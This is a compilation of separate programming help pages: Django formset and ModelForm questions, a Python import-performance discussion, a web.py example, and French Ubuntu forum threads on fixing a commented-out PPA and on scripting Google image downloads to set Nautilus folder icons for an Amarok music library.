super(CarsForm, self).__init__(*args, **kwargs)
self.fields['location'] = forms.ModelChoiceField(queryset=Cities.objects.filter(country=country))
class Meta:
model = Cars
exclude = ('owner', 'created',)
View
def new_car(request):
if request.method == u'POST' and request.is_ajax():
form = CarsForm(request.POST)
if form.is_valid():
etc...
Following advice from stackoverflow, I edited the modelform init to allow the country variable to be passed. The form creation and html displays fine and everything works great, only now the form won't validate.
UPDATE: Ok, it looks like I (meaning 'YOU') got it working. Several things were ugly, and once fixed it works ok:
the location field type was changed to foreignkey, correcting the data mismatch issue
the init was revised to accept country as a kwarg
the form validation now passes the variable as a kwarg CarsForm(request.POST, country=country)
SUCCESS! In under an hour. Thanks so much everyone!!
|
Claude LENDREVIE
Re : [Résolu] Libérer de la place sur le disque
Voici le résultat :
root@claude-System-Name:~# sudo add-apt-repository ppa:tualatrix/ppa
You are about to add the following PPA to your system:
The official Ubuntu Tweak stable repository
More info: https://launchpad.net/~tualatrix/+archive/ppa
Press [ENTER] to continue or ctrl-c to cancel adding it
gpg: le porte-clés `/tmp/tmp37y_Uj/secring.gpg` a été créé
gpg: le porte-clés `/tmp/tmp37y_Uj/pubring.gpg` a été créé
gpg: requête de la clé 0624A220 du serveur hkp keyserver.ubuntu.com
gpg: /tmp/tmp37y_Uj/trustdb.gpg: base de confiance créée
gpg: clé 0624A220: clé publique « Launchpad PPA for TualatriX » importée
gpg: aucune clé de confiance ultime n'a été trouvée
gpg: Quantité totale traitée: 1
gpg: importée: 1 (RSA: 1)
OK
root@claude-System-Name:~# sudo apt-get update
Ign http://fr.archive.ubuntu.com precise InRelease
Ign http://fr.archive.ubuntu.com precise-updates InRelease
Ign http://fr.archive.ubuntu.com precise-backports InRelease
Ign http://security.ubuntu.com precise-security InRelease
Atteint http://fr.archive.ubuntu.com precise Release.gpg
Atteint http://security.ubuntu.com precise-security Release.gpg
Atteint http://fr.archive.ubuntu.com precise-updates Release.gpg
Atteint http://fr.archive.ubuntu.com precise-backports Release.gpg
Atteint http://security.ubuntu.com precise-security Release
Atteint http://fr.archive.ubuntu.com precise Release
Atteint http://fr.archive.ubuntu.com precise-updates Release
Atteint http://fr.archive.ubuntu.com precise-backports Release
Atteint http://security.ubuntu.com precise-security/main Sources
Atteint http://fr.archive.ubuntu.com precise/main Sources
Atteint http://fr.archive.ubuntu.com precise/restricted Sources
Atteint http://fr.archive.ubuntu.com precise/universe Sources
Atteint http://fr.archive.ubuntu.com precise/multiverse Sources
Atteint http://fr.archive.ubuntu.com precise/main i386 Packages
Atteint http://fr.archive.ubuntu.com precise/restricted i386 Packages
Atteint http://fr.archive.ubuntu.com precise/universe i386 Packages
Atteint http://security.ubuntu.com precise-security/restricted Sources
Atteint http://security.ubuntu.com precise-security/universe Sources
Atteint http://security.ubuntu.com precise-security/multiverse Sources
Atteint http://security.ubuntu.com precise-security/main i386 Packages
Atteint http://security.ubuntu.com precise-security/restricted i386 Packages
Atteint http://security.ubuntu.com precise-security/universe i386 Packages
Atteint http://security.ubuntu.com precise-security/multiverse i386 Packages
Atteint http://security.ubuntu.com precise-security/main TranslationIndex
Atteint http://security.ubuntu.com precise-security/multiverse TranslationIndex
Atteint http://security.ubuntu.com precise-security/restricted TranslationIndex
Atteint http://fr.archive.ubuntu.com precise/multiverse i386 Packages
Atteint http://fr.archive.ubuntu.com precise/main TranslationIndex
Atteint http://fr.archive.ubuntu.com precise/multiverse TranslationIndex
Atteint http://fr.archive.ubuntu.com precise/restricted TranslationIndex
Atteint http://fr.archive.ubuntu.com precise/universe TranslationIndex
Atteint http://fr.archive.ubuntu.com precise-updates/main Sources
Atteint http://fr.archive.ubuntu.com precise-updates/restricted Sources
Atteint http://fr.archive.ubuntu.com precise-updates/universe Sources
Atteint http://security.ubuntu.com precise-security/universe TranslationIndex
Atteint http://fr.archive.ubuntu.com precise-updates/multiverse Sources
Atteint http://fr.archive.ubuntu.com precise-updates/main i386 Packages
Atteint http://fr.archive.ubuntu.com precise-updates/restricted i386 Packages
Atteint http://fr.archive.ubuntu.com precise-updates/universe i386 Packages
Atteint http://fr.archive.ubuntu.com precise-updates/multiverse i386 Packages
Atteint http://fr.archive.ubuntu.com precise-updates/main TranslationIndex
Atteint http://fr.archive.ubuntu.com precise-updates/multiverse TranslationIndex
Atteint http://security.ubuntu.com precise-security/main Translation-en
Atteint http://security.ubuntu.com precise-security/multiverse Translation-en
Atteint http://fr.archive.ubuntu.com precise-updates/restricted TranslationIndex
Atteint http://fr.archive.ubuntu.com precise-updates/universe TranslationIndex
Atteint http://fr.archive.ubuntu.com precise-backports/main Sources
Atteint http://fr.archive.ubuntu.com precise-backports/restricted Sources
Atteint http://fr.archive.ubuntu.com precise-backports/universe Sources
Atteint http://fr.archive.ubuntu.com precise-backports/multiverse Sources
Atteint http://fr.archive.ubuntu.com precise-backports/main i386 Packages
Atteint http://fr.archive.ubuntu.com precise-backports/restricted i386 Packages
Atteint http://fr.archive.ubuntu.com precise-backports/universe i386 Packages
Atteint http://fr.archive.ubuntu.com precise-backports/multiverse i386 Packages
Atteint http://security.ubuntu.com precise-security/restricted Translation-en
Atteint http://fr.archive.ubuntu.com precise-backports/main TranslationIndex
Atteint http://fr.archive.ubuntu.com precise-backports/multiverse TranslationIndex
Atteint http://fr.archive.ubuntu.com precise-backports/restricted TranslationIndex
Atteint http://fr.archive.ubuntu.com precise-backports/universe TranslationIndex
Atteint http://fr.archive.ubuntu.com precise/main Translation-fr_FR
Atteint http://fr.archive.ubuntu.com precise/main Translation-fr
Atteint http://fr.archive.ubuntu.com precise/main Translation-en
Atteint http://fr.archive.ubuntu.com precise/multiverse Translation-fr_FR
Atteint http://security.ubuntu.com precise-security/universe Translation-en
Atteint http://fr.archive.ubuntu.com precise/multiverse Translation-fr
Atteint http://fr.archive.ubuntu.com precise/multiverse Translation-en
Atteint http://fr.archive.ubuntu.com precise/restricted Translation-fr_FR
Atteint http://fr.archive.ubuntu.com precise/restricted Translation-fr
Atteint http://fr.archive.ubuntu.com precise/restricted Translation-en
Atteint http://fr.archive.ubuntu.com precise/universe Translation-fr_FR
Atteint http://fr.archive.ubuntu.com precise/universe Translation-fr
Atteint http://fr.archive.ubuntu.com precise/universe Translation-en
Atteint http://fr.archive.ubuntu.com precise-updates/main Translation-fr
Atteint http://fr.archive.ubuntu.com precise-updates/main Translation-en
Atteint http://fr.archive.ubuntu.com precise-updates/multiverse Translation-fr
Atteint http://fr.archive.ubuntu.com precise-updates/multiverse Translation-en
Atteint http://fr.archive.ubuntu.com precise-updates/restricted Translation-fr
Atteint http://fr.archive.ubuntu.com precise-updates/restricted Translation-en
Atteint http://fr.archive.ubuntu.com precise-updates/universe Translation-fr
Atteint http://fr.archive.ubuntu.com precise-updates/universe Translation-en
Atteint http://fr.archive.ubuntu.com precise-backports/main Translation-en
Atteint http://fr.archive.ubuntu.com precise-backports/multiverse Translation-en
Atteint http://fr.archive.ubuntu.com precise-backports/restricted Translation-en
Atteint http://fr.archive.ubuntu.com precise-backports/universe Translation-en
Lecture des listes de paquets... Fait
root@claude-System-Name:~# sudo apt-get install ubuntu-tweak
Lecture des listes de paquets... Fait
Construction de l'arbre des dépendances
Lecture des informations d'état... Fait
E: Impossible de trouver le paquet ubuntu-tweak
Hors ligne
f.x0
Re : [Résolu] Libérer de la place sur le disque
Postes le retour de
uname -a
SOPI
Hors ligne
tiramiseb
Re : [Résolu] Libérer de la place sur le disque
C'est étrange, avec la première commande le dépôt semble bien avoir été ajouté, mais à la deuxième commande on dirait qu'il n'est pas utilisé.
Quel est le retour de :
ls /etc/apt/sources.list.d
?
Hors ligne
f.x0
Re : [Résolu] Libérer de la place sur le disque
@tiramiseb : tu as vu comme moi, c'est bizarre non ???
je n'avais jamais rencontré ça.
on peut l'ajouter manuellement, mais il faudrait comprendre l'origine du problème non ???
SOPI
Hors ligne
tiramiseb
Re : [Résolu] Libérer de la place sur le disque
f.x0: 100% d'accord. très étrange.
donc :
étape 1 : voir si le PPA est référencé dans sources.list.d
étape 2 : voir pourquoi il n'est pas pris en compte par apt
Claude :
Peux-tu également exécuter la commande suivante ?
apt-config dump | grep Dir.*source
cela permet de voir la configuration d'APT.
Hors ligne
Claude LENDREVIE
Re : [Résolu] Libérer de la place sur le disque
Résultats de vos demandes :
root@claude-System-Name:~# uname -a
Linux claude-System-Name 3.2.0-36-generic #57-Ubuntu SMP Tue Jan 8 21:41:24 UTC 2013 i686 i686 i386 GNU/Linux
root@claude-System-Name:~# ls /etc/apt/sources.list.d
google-chrome.list tualatrix-ppa-precise.list.save
google-chrome.list.save ubuntu-x-swat-x-updates-precise.list
tualatrix-ppa-precise.list ubuntu-x-swat-x-updates-precise.list.save
root@claude-System-Name:~# apt-config dump | grep Dir.*source
Dir::Etc::sourcelist "sources.list";
Dir::Etc::sourceparts "sources.list.d";
nb : j'avais préalablement -hier matin- inséré la mise à jour automatique de ce logiciel ubuntu-tweak (dans la Gestion des màj). Mais je l'ai momentanément décoché (conseils reçus de mon système lors de nos essais de nettoyage des paquets hier matin). Je ne l'ai pas encore réactivé moi-même, mais je pense que la commande n°1 (cf. installation de ubuntu-tweak) l'a réactivée.
Hors ligne
tiramiseb
Re : [Résolu] Libérer de la place sur le disque
On va voir le contenu du fichier concernant ce PPA :
cat /etc/apt/sources.list.d/tualatrix-ppa-precise.list
Hors ligne
f.x0
Re : [Résolu] Libérer de la place sur le disque
Chez moi
cat /etc/apt/sources.list.d/tualatrix-ppa-precise.list
donne ceci
deb http://ppa.launchpad.net/tualatrix/ppa/ubuntu precise main
deb-src http://ppa.launchpad.net/tualatrix/ppa/ubuntu precise main
SOPI
Hors ligne
Claude LENDREVIE
Re : [Résolu] Libérer de la place sur le disque
Résultat :
root@claude-System-Name:~# cat /etc/apt/sources.list.d/tualatrix-ppa-precise.list
# deb http://ppa.launchpad.net/tualatrix/ppa/ubuntu precise main
# deb-src http://ppa.launchpad.net/tualatrix/ppa/ubuntu precise main
Comme pour vous !
Hors ligne
tiramiseb
Re : [Résolu] Libérer de la place sur le disque
Non, pas comme pour nous
Les lignes sont commentées (précédées de "#") : quand tu décoches ça commente les lignes.
Donc refaire la manip n'a pas décommenté (recoché) ce PPA.
Trois possibilités : soit tu vas recocher, soit tu édites le fichier et tu enlèves les "#", soit tu effaces ce fichier et tu refais la manip.
Dernière modification par tiramiseb (Le 21/01/2013, à 18:00)
Hors ligne
Claude LENDREVIE
Re : [Résolu] Libérer de la place sur le disque
J'ai recoché dans les paramètres de màj du système, exécuté à nouveau les 3 commandes d'installation d'ubuntu-tweak sous terminal .... et tout est ok.
J'arrive à lancer ubuntu-tweak à partir d'un terminal. Par contre, je ne le trouve pas référencé dans mon tableau de Bord : Applications > Outils système > etc...
Mais c'est un détail.
Merci beaucoup à vous 2. J'ai désormais tous les outils pour nettoyer de temps en temps mes noyaux !
Hors ligne
f.x0
Re : [Résolu] Libérer de la place sur le disque
Je suis content pour toi que cela ait fonctionné Claude LENDREVIE, bonne continuation sur Gnu/Linux
SI TU PENSES QUE TON PROBLÈME EST SOLUTIONNÉ, AJOUTES [RÉSOLU] DANS LE TITRE DE TON PREMIER POST, CELA POURRA AIDER D'AUTRES UBUNTEROS QUI ONT LE MÊME PROBLÈME QUE TOI.
Il faut cliquer sur modifier dans ton 1er message,puis tu modifies le titre
SOPI
Hors ligne
Claude LENDREVIE
Re : [Résolu] Libérer de la place sur le disque
Encore un point que je connais parfaitement, et que j'avais oublié d'appliquer. Vraiment besoin de me régénérer !
Merci.
Hors ligne
Theodule
Re : [Résolu] Libérer de la place sur le disque
C'est bon, j'ai créé un nouveau sujet (http://forum.ubuntu-fr.org/viewtopic.ph … #p13334941) et supprimé mes messages. Tu peux du coup supprimer les tiens aussi.
Encore merci !
Hors ligne
tiramiseb
Re : [Résolu] Libérer de la place sur le disque
Salut à tous,
Je fais remonter ce fil de discussion pour une précision qui sera utile aux personnes qui se trouveront dans le même cas dans le futur.
J'ai peut-être été trop précautionneux dans la solution que j'ai donnée au fil de cette discussion (corrigeant le problème de limite max d'inodes atteinte).
En fait, quand on supprime des fichiers à la main et qu'on désinstalle ensuite le paquet, le système verra que les fichiers sont déjà supprimés et fera en sorte de retomber sur ces pieds.
Il n'est donc pas nécessairement utile de déplacer progressivement dans /home, etc : supprimer un ou deux anciens répertoires de /usr/src et/ou /lib/modules puis désinstaller les anciens paquets devrait être suffisant (mais bien sûr, ce n'est pas le plus propre ; cela dit, quand on est dans une situation extrême comme ça, une solution crade ça peut aider aussi, tant que ça ne casse pas tout)
Hors ligne
|
Well, this query struck my mind when someone pointed out to me that importing a package using import package gives more code readability. Is this actually true? I mean when using this statement as compared to from package import x, y, z, isn't there any overhead of importing the entire package?
Well, this query struck my mind when someone pointed out to me that importing a package using
I don't expect any performance difference. Whole package will be loaded anyway.
For example:
# load dirname() function from os.path module
>>> from os.path import dirname
#the os.path.basename() was not imported
>>> basename('/foo/bar.txt')
NameError: name 'basename' is not defined
# however, basename() is already available anyway:
dirname.__globals__['basename']('/foo/bar.txt')
Using the point notation is always less performant than importing a function directly and calling it, because the function does have to be searched in the modules dictionary. This counts for every
For example when appending items to a list:
lst = []
for i in xrange(5000):
lst.append(i ** .5 * 2)
This is faster:
lst = []
append = lst.append
for i in xrange(5000):
append(i ** .5 * 2)
This
>>> def bad():
... lst = []
... for i in xrange(500):
... lst.append(i ** .5 * 2)
>>> def good():
... lst = []
... append = lst.append
... for i in xrange(500):
... append(i ** .5 * 2)
>>> from timeit import timeit
>>> timeit("bad()", "from __main__ import bad", number = 1000)
0.175249130875
>>> timeit("good()", "from __main__ import good", number = 1000)
0.146750989286
The performance will be same either way. The entire module is compiled, if needed, and the code executed, the first time you import a module, no matter how you import it.
Which is more readable
from os.path import split, join
then a bunch of
import os.path
then referencing them as
Either way, you have to actually load the whole module. Otherwise, things that you imported that depended on other things in the module you
|
I am trying to populate a Django formset using data from a POST request. I am able to display the formset properly and instantiate it again mostly alright, but I'm having an issue where the formset is ending up with 2 blank rows at the end, which is undesirable. Below is the function we've been using in views.py:
forms.py
class DepositForm(forms.Form):
InsID = forms.IntegerField()
DepositTypeID = forms.IntegerField()
DepositAmount = forms.IntegerField()
Account = forms.IntegerField()
DepositFormSet = formset_factory(DepositForm, extra=1)
views.py
def _DepositEditor(request, c):
if request.POST.has_key('form-0-InsID'):
formset = DepositFormSet(request.POST)
if formset.is_valid():
formset = DepositFormSet(initial=formset.cleaned_data)
else:
formset = DepositFormSet()
c['formset'] = formset
return render_to_response('deposits/dep.html', c)
dep.html
<form action="" method="post">
{{formset.management_form}}
{% for form in formset.forms %}
{{form.errors }}
{% for field in form %}
{{field.label}}: {{field}}
{% endfor %}
<br />
{% endfor %}
<input type="submit" name="add" value="Add Deposit"></input>
</form>
That should be all the relevant code. Anyway, the template displays the whole formset, which should include a blank row (or, in the case of an error, no blank rows but error messages above the last row). The problem is occurring when you click "Add" with the last row blank. In the code, this still passes formset.is_valid(), so it then creates the new formset with an extra field. If you click add here, it returns with errors, but still allows you to fill out all but the last row and make a valid formset. Is there a way to tell my formset that blank forms should fail validation? Or alternatively is there better way to do this? The page eventually is planned to integrate some jquery stuff, so while that is not ideal, if there is a good way to solve this problem using jquery tools that would probably be good enough. Thanks a lot!
|
Basic Application
Other languages : français | ...
The basic application defines a pairing of urls to class mappings. In the example below, the urls variable defines a pairing of a regular expression to a class name.
When a user access a resource, runs through the list of url regular expressions. If a url matches the regex, the class is instantiated, and the method 'GET' or 'POST' is called based on the http method. Data returned from the GET or POST is displayed in the browser.
If the requested url doesn't match any regex, a 404 is returned.
Example
import web
urls = (
'/(.*)', 'hello'
)
app = web.application(urls, globals())
class hello:
def GET(self, name):
if not name:
name = 'World'
return 'Hello, ' + name + '!'
if __name__ == "__main__":
app.run()
|
CyrilouGarou
Création de miniatures pour dossiers d'artistes dans librairie amarok
Bonjour à tous,
Nous sommes nombreux à utiliser l'excellent amarok pour écouter notre zic.
Amarok permet de ranger sa collection de la façon suivante
(exemple de chemin pour la chanson hells bells d'ACDC)
/home/cyril/Ma\ Musique/A/AC_DC/Back\ in\ Black/02\ -\ Hells\ Bells.mp3
Des scripts existent déjà pour que le dossier Album soit représenté dans nautilus par la pochette téléchargée par amarok.
Par contre, aucun script n'existe pour télécharger automatiquement (exemple via google/images) une photo de l'artiste de sorte que le dossier de l'artiste soit représenté dans nautilus par l'icone de l'artiste.
Ca serait tellement la classe....
Ma question est donc:
Comment télécharger automatiquement la première image renvoyée par google/images pour chacun des artistes de ma collection ?
Hors ligne
CyrilouGarou
Re : Création de miniatures pour dossiers d'artistes dans librairie amarok
up ?
Hors ligne
CyrilouGarou
Re : Création de miniatures pour dossiers d'artistes dans librairie amarok
Up encore ?
Hors ligne
CyrilouGarou
Re : Création de miniatures pour dossiers d'artistes dans librairie amarok
On sait jamais....
Hors ligne
CyrilouGarou
Re : Création de miniatures pour dossiers d'artistes dans librairie amarok
up up up up ?
Hors ligne
pOPeY_tGl
Re : Création de miniatures pour dossiers d'artistes dans librairie amarok
je serai vraiment intéressé par ce script aussi...
Bien que le menu context soit un mini ersatz de cet eventuel plugin.
Toutefois quel est ce fameux script pour nautilus?
"< niluje> windows est payant, pas linux, ça prouve bien que windows est mieux.
< Clex> Ben niluje, quitte ta femme et va aux putes."
Mon DevianArt
Hors ligne
CyrilouGarou
Re : Création de miniatures pour dossiers d'artistes dans librairie amarok
Ca motive pas grand monde à part nous deux !
Hors ligne
Ras'
Re : Création de miniatures pour dossiers d'artistes dans librairie amarok
Bon j'ai commencé à regarder
Déja tu peux utiliser ça :
artisturl="AC/DC"
albumurl="live"
url="http://images.google.com/images?q=+%22""$artisturl""%22+%22""$albumurl""%22+filetype%3Apng&btnG=Search+Images"
wget -U="Mozilla/5.0" $url -O prout.txt
Ce qui te téléchargera le code source de la page de recherche (j'ai utilisé -U=Mozilla/5.0 parce que j'ai vu ça sur le net, on peut surement utiliser un autre navigateur mais j'avais la flemme de chercher la bonne syntaxt et ça marchait bien comme ça)
Ensuite tu fais un grep pour trouver l'url de l'image à dl :
pochetteurl=$( cat prout.txt | grep -o "http://[^ ]*\.png" | head -1 )
> le cat affiche
> le grep recherche les lignes de type http://*******************.png
> le head -1 récupère la première ligne parmis les lignes trouvées par grep
Le problème c'est qu'avec ça je suis tombé sur un résultat comme ça :
http://www.soundclick.com/lyrics/getAlbum.cfm%3Falbum%3DR%2B%2B%2B%2B53486&h=443&w=500&sz=38&hl=en&start=1","","cdW7GjVlqKFWCM:","http://ec1.images-amazon.com/images/I/519hzG41dAL.jpg
( j'ai fait mes tests avec des fichiers jpg)
et qu'il faut récupérer que la fin, ie http://ec1.images-amazon.com/images/I/519hzG41dAL.jpg
Ca doit certainement être possible avec sed ou un truc dans le genre...
mais là c'est l'heure de manger donc on verra plus tard ^^
Dernière modification par Raskal (Le 10/04/2008, à 20:41)
Hors ligne
Ras'
Re : Création de miniatures pour dossiers d'artistes dans librairie amarok
De façon un peu sale mais fonctionnelle, la commande :
echo "$url" | sed -e 's/http:\/\/[^ ]*http:\/\///'
Coupe dans l'url tout ce qu'il y a entre http:// et http:// et le remplace par rien, donc avec une url ultra complexe (même contenant plusieurs fois la chaîne http://) on se retrouve avec ce qui se trouve à la fin (donc ce qui nous interesse)
On rajoute le http:// manquant au début, on wget et ça déroule :
EDIT : j'avais pas vu que tu voulais uniquement l'artiste et non pas l'album, j'ai modifié le script en conséquence
artist="AC/DC"
url="http://images.google.com/images?q=+%22""$artist""%22+filetype%3Ajpg&btnG=Search+Images"
wget -q -U="Mozilla/5.0" $url -O prout.txt
pochette="http://$( cat prout.txt | grep -o "http://[^ ]*\.jpg" | head -1 | sed -e 's/http:\/\/[^ ]*http:\/\///' )"
wget -q $pochette
Est fonctionnel
Maintenant il reste à renommer la photo téléchargée, et intégrer ça dans le script que tu voulais faire
Hyper interessant en fait de programmer pour les autres ^^
C'est possible de voir un script qui télécharge la pochette d'album ?
Dernière modification par Raskal (Le 11/04/2008, à 11:12)
Hors ligne
Ras'
Re : Création de miniatures pour dossiers d'artistes dans librairie amarok
Le script suivant télécharge (uniquement télécharge) les images de chaque artiste dans ton type d'organisation :
[dossier musique]/[lettre]/[artiste]
J'ai testé sur un échantillon test fabriqué comme ça :
|-- prout| |-- a| | |-- ac_dc| | | `-- album1| | `-- aizell| `-- b| |-- benabar| | |-- album1| | `-- album2| |-- birdy_nam_nam| | `-- album1| `-- black_uhuru
(super cette commande "tree" ^^)
et ça à très bien marché.
Donc ensuite faut trouver la commande pour mettre l'image en icone du dossier et j'en ai aucune idée... Donc faudrait que je vois l'autre script ou que quelqu'un qui la connait me la donne ^^
#!/bin/bash
#
# Script téléchargeant les premières images renvoyées par les recherches google des noms des artistes d'un dossier "Music"
# Made by Ras'
#
parent_dir="/home/ras/scripts/prout"
function dl_pochette
{
artist="$1"
echo "$artist"
url="http://images.google.com/images?q=+%22""$artist""%22+filetype%3Ajpg&btnG=Search+Images"
wget -q -U="Mozilla/5.0" "$url" -O prout.txt
img="http://$( cat prout.txt | grep -o "http://[^ ]*\.jpg" | head -1 | sed -e 's/http:\/\/[^ ]*http:\/\///' )"
artist=$( echo $artist | sed 's/\ /_/g' )
wget -q $img -O ".$artist.jpg"
rm -f prout.txt
}
for i in `ls $parent_dir`
do
cd "/$parent_dir/$i"
for j in `ls`
do
j=$(echo $j | sed 's/_/\ /g' )
dl_pochette "$j"
done
done
Voilàààààà
EDIT : j'ai ajouté un petit "echo $artist" pour voir l'avancement ^^
RE EDIT : les fichiers images s'apellent maintenant comme les dossier auquels ils correspondent et ils sont cachés.
Dernière modification par Raskal (Le 11/04/2008, à 12:37)
Hors ligne
h-ubuntu
Re : Création de miniatures pour dossiers d'artistes dans librairie amarok
Salut il éxiste ce logiciel:
Pour linux
Vitrine relookage ubuntu.fr : http://www.esnips.com/web/Capturesdesignubuntufr/
Tout pour skiner ton amsn, oui c'est possible! :http://amsn-skins.blogspot.com/
Tutoriaux: http://www.esnips.com/web/TutoriauxSkineraMSN
Topic : http://forum.ubuntu-fr.org/viewtopic.php?id=81501
Hors ligne
Ras'
Re : Création de miniatures pour dossiers d'artistes dans librairie amarok
C'est pas pareil, déja ici c'est un soft pour mettre une image dans les idtag pour qu'elle soit visible sur un baladeur mp3 ou dans amarok, alors que Cyril veut un script qui met une image sur le dossier, donc visible dans nautilus.
Et puis avec ce logiciel c'est manuel, et apparement Cyril veut un truc automatique parce qu'il a beaucoup d'artistes (si je me rapelle bien de ce que j'ai lu sur un autre topic)
Bon j'ai pas eu le temps de chercher la commande, j'ai trouvé un truc pour KDE (créer un fichier .directory ?) mais rien pour gnome...
Donc je cherche toujours le script qui fait ça pour les albums ou directement la liste des commandes à taper...
Hors ligne
h-ubuntu
Re : Création de miniatures pour dossiers d'artistes dans librairie amarok
Ha ok
Vitrine relookage ubuntu.fr : http://www.esnips.com/web/Capturesdesignubuntufr/
Tout pour skiner ton amsn, oui c'est possible! :http://amsn-skins.blogspot.com/
Tutoriaux: http://www.esnips.com/web/TutoriauxSkineraMSN
Topic : http://forum.ubuntu-fr.org/viewtopic.php?id=81501
Hors ligne
CyrilouGarou
Re : Création de miniatures pour dossiers d'artistes dans librairie amarok
Raskal: super boulot
Je vais retrouver comment faire afficher ces images par nautilus (manque de temps ce week end)
Juste un petit correctif: le script plante si le dossier artiste a un nom contenant des espaces.
Encore félicitations
Hors ligne
Ras'
Re : Création de miniatures pour dossiers d'artistes dans librairie amarok
Hum....
j'ai regardé ce qu'il se passe quand on ajoute une image en icône d'un dossier.
Le fichier /home/ras/.nautilus/metafiles/file:%2F%2F%2Fhome%2Fras%2Fscripts%2Fprout%2Fb.xml est modifié,
la zone :
<file name="benabar" timestamp="1207990423" screen="0" />
devient :
<file name="benabar" timestamp="1207990423" screen="0" custom_icon="file:///home/ras/scripts/prout/b/.benabar.jpg"/></directory>
donc en théorie avec un sed ça devrait être très simple de modifier ça, le problème c'est que j'ai essayé de modifier le fichier avec gedit et ça n'a rien changé... Je continues de chercher... ca doit être ailleurs
Dernière modification par Raskal (Le 12/04/2008, à 11:25)
Hors ligne
CyrilouGarou
Re : Création de miniatures pour dossiers d'artistes dans librairie amarok
De mémoire c'est un truc comme ça.
tu as fait "nautilus -q" après ta manip ?
Hors ligne
Ras'
Re : Création de miniatures pour dossiers d'artistes dans librairie amarok
J'ai galéré une bonne demi heure pour essayer de comprendre pourquoi ça voulait pas, je me demandais si je changeais le mauvais fichier ou quoi et en fait c'était tout nul
j'avais quand même eu la présence d'esprit de fermer toutes mes instances de nautilus graphiquement, mais j'étais loin de me douter qu'il y avait une différence avec nautilus -q
C'est quoi la différence ? graphiquement il ne se ferme pas vraiment ? Pour être préchargé au prochain démarrage ?
Dernière modification par Raskal (Le 12/04/2008, à 13:45)
Hors ligne
Ras'
Re : Création de miniatures pour dossiers d'artistes dans librairie amarok
et tant que j'y suis, quand et pourquoi sont créés ces fichiers ?
Parce que dans mon dossier .nautilus/metafiles j'ai pas grand chose... en tout cas pas un fichier par dossier, ni un fichier par dossier ayant une icone vu que quasiment aucun n'en a...
Parce que je pourrais créer un fichier pour chaque dossier, c'est pas un problème, mais dans ce fichier on trouve par exemple
timestamp="1207990423" screen="0"
j'imagine que timestamp est la date de création du fichier (en seconde depuis 1970-01-01) mais si je créé le fichier je met quoi comme timestamp ?
Et à quoi correspond screen="0" ?
Hors ligne
CyrilouGarou
Re : Création de miniatures pour dossiers d'artistes dans librairie amarok
J'ai trouvé ce script en python qui va écrire dans ces fichiers xml pour changer des icônes.
Ca devrait t'aider.
Perso, je trouve que gnome manque de transparence à ce sujet (je veux dire qu'il n'est pas facile de trouver l'info)
#!/usr/bin/python
import sys
from optparse import OptionParser
import os
import fnmatch
from urllib import quote
def main():
parser = OptionParser(usage="usage: %prog [options] folder [folder2 ...]",
version="%prog 0.1")
parser.add_option("", "--names", dest="names",
default="[Ff]older.[Jj][Pp][Gg]",
help='specification to match image filenames [default: "%default"]')
parser.add_option("-R", "--recursive", dest="recursive", action="store_true", default=False,
help="set icons for folders recursively")
(options, folders) = parser.parse_args(sys.argv)
folders = folders[1:]
if not folders:
parser.error("no folders specified")
nautilus_metafiles = os.path.join(os.environ["HOME"], ".nautilus", "metafiles")
noquote = "()'*"
for folder in folders:
for root, dirs, files in os.walk(folder):
print root, "..."
subdirs = []
for d in dirs:
images = fnmatch.filter(os.listdir(os.path.join(root, d)), options.names)
if images:
image = os.path.basename(images[0])
subdirs.append((quote(d, safe=noquote), quote(image, safe=noquote)))
else:
print "no image found for %s/%s" % (root, d)
if subdirs:
metafilename = "file:%2F%2F" + quote(quote(os.path.abspath(root), safe=noquote + "/"), safe=noquote) + ".xml"
metafilepath = os.path.join(nautilus_metafiles, metafilename)
metafile = open(metafilepath, "w")
metafile.write('<?xml version="1.0"?>\n<directory>')
for sd in subdirs:
metafile.write('<file name="%s" custom_icon="%s"/>' % sd)
metafile.write('</directory>\n')
metafile.close()
if not options.recursive:
dirs[:] = []
print "done."
if __name__ == "__main__":
main()
Hors ligne
Ras'
Re : Création de miniatures pour dossiers d'artistes dans librairie amarok
Ici pas de timestamp ni de screen
D'un autre coté j'ai supprimé les fichiers xml relatifs à mes dossier de test et à part le fait que j'ai perdu les images y'a pas vraiment eu de changement, je code ça comme ça et tu t'en servira a tes risques et périls ^^
Hors ligne
Ras'
Re : Création de miniatures pour dossiers d'artistes dans librairie amarok
Bon...
Je comprend pas tout là...
Je viens de faire marcher le script pour 4 des 5 dossier, pour le 6° j'ai eu le droit à :
** Message: Failed to close thumbnail pixbuf loader for /home/ras/scripts/prout/b/.birdy_nam_nam.jpg: Format d'image non reconnu
** Message: Failed to close thumbnail pixbuf loader for /home/ras/scripts/prout/b/.birdy_nam_nam.jpg: Format d'image non reconnu
Je l'ai renommé pour tester si ça le faisait avec d'autres artistes et c'est le cas...
j'ai testé 3 artistes et ça veut pas...
Je sais pas quel est le problème mais c'est louche, enfin à mon avis ça n'a pas de rapport avec le script.
Et j'ai aussi un souci, dans le script j'utilise :
echo "<file name=\"$artist\" timestamp=\"`date +%s`\" custom_icon=\"file:/`pwd`/.`echo $artist | sed 's/\ /_/g'`.jpg\"/>"
En console j'ai ça :
ras@ras-laptopoulos:~/scripts$ artist="birdy nam nam"
ras@ras-laptopoulos:~/scripts$ echo "<file name=\"$artist\" timestamp=\"`date +%s`\" custom_icon=\"file:/`pwd`/.`echo $artist | sed 's/\ /_/g'`.jpg\"/>"
<file name="birdy nam nam" timestamp="1208013086" custom_icon="file:///home/ras/scripts/.birdy_nam_nam.jpg"/>
mais dans le script, ça me donne
<file name="birdy nam nam" timestamp="1208013154" custom_icon="file:////home/ras/scripts/prout/b/.birdy_nam_nam.jpg"/>
C'est à dire un / de plus après "file:"
Donc c'est pas trop grave j'en ai enlevé un dans le script, mais je comprend pas d'ou vient cette différence ?
Enfin bref, à part ce petit problème de birdy nam nam que je comprend pas ça devrait être fonctionnel.
Je rapelle que tu fais ça à tes risques et périls ^^
#!/bin/bash
#
# Script téléchargeant les premières images renvoyées par les recherches google des noms des artistes d'un dossier "Music"
# Made by Ras'
#
parent_dir="/home/ras/scripts/prout"
clear
echo "Téléchargement des pochettes en cours..."
function dl_pochette
{
artist="$1"
echo "$artist"
url="http://images.google.com/images?q=+%22""$artist""%22+filetype%3Ajpg&btnG=Search+Images"
wget -q -U="Mozilla/5.0" "$url" -O .prout.txt
img="http://$( cat .prout.txt | grep -o "http://[^ ]*\.jpg" | head -1 | sed -e 's/http:\/\/[^ ]*http:\/\///' )"
artist=$( echo $artist | sed 's/\ /_/g' )
wget -q $img -O ".$artist.jpg"
if ! [[ -d $artist ]]
then artist=$( echo $artist | sed 's/_/\ /g' )
fi
